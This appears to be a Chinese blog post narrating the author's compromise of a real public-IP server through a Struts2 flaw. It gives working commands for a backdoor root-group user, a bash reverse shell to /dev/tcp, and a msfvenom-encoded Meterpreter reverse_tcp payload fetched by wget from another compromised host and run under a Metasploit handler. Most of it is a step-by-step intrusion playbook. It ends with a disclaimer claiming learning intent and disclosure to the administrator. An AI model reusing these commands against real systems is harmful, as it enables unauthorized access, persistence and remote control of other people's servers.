用Struts2拿下的,看到是公网ip,心动了。。。
查看自己是什么权限
root权限,上传一句话
高高兴兴去连接,结果错误。。。
好吧!上传大马。
访问成功,但上传文件失败。。。
root权限,外网,拿不下不甘心啊,换方法。
方法一
创建用户,ssh连接。
创建一个用户1
useradd shell //创建一个shell用户
因为不能交互 所以无法使用passwd
命令
尝试不是交互模式设置密码。1
echo "shell123.0" | passwd -stdin shell
加入root组。1
usermod -g root shell
确定添加shell用户成功。1
id shell
ssh连接
结果拒绝我的密码,难受。。。
看来在这里使用不是交互模式设置密码失败。
方法二
用bash反弹shell。
公网开启nc监听。命令:1
nc -lvvp 8060
linux反弹shell。命令:1
bash -i >& /dev/tcp/x.x.x.x/8060 0>&1
执行成功。
但是windows服务器上并没有收到任何反弹信息
换端口换反弹方式都失败
应该是防火墙的问题,又失败了,好难受。
方法三
这次用msf神器。
用msf生成一个linux后门,命令:1
msfvenom.bat -a x86 --platform linux -p linux/x86/meterpreter/reverse_tcp LHOST=*.*.*.* LPORT=8090 -e x86/shikata_ga_nai -i 3 -felf > c:\test
详解:1
2
3
4
5
6
7
8-a x86 32位
--platform linux 后门程序运行的平台
-p linux/x86/meterpreter/reverse_tcp 使用的payload模块
LHOST=*.*.*.* 反弹到攻击主机的IP地址
LPORT=8090 反弹到攻击主机的端口号
-e x86/shikata_ga_nai 使用的编码方式
-i 3 重复封装编码3次
-felf > c:\test 输出后门文件到c盘目录下,文件名test
生成好了,把后面放在另一台肉鸡上。
用wget下载。1
wget http://*.*.*.*/test
执行成功。
看一下是否存在后门。
确定后门存在。
在msf上开始监听。1
2
3
4
5use exploit/multi/handler
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST *.*.*.*
set LPORT 8090
exploit
监听成功,记得更改后门权限。命令:1
chmod 777 test
执行后门。命令:1
./test
得到shell,是root权限,就用passwd改掉咱们原来添加的test的密码。
ssh连接成功,这就开心了。
总结
在遇到st2漏洞但是有防火墙,不能上马,不能反弹shell,只能执行非交互命令的时候可以用msf生成一个后门然后进行进一步提权。
本次测试仅仅做为学习,漏洞已经提交给管理员,请勿用于非法用途,所产生的一切后果与作者无关。
参考文章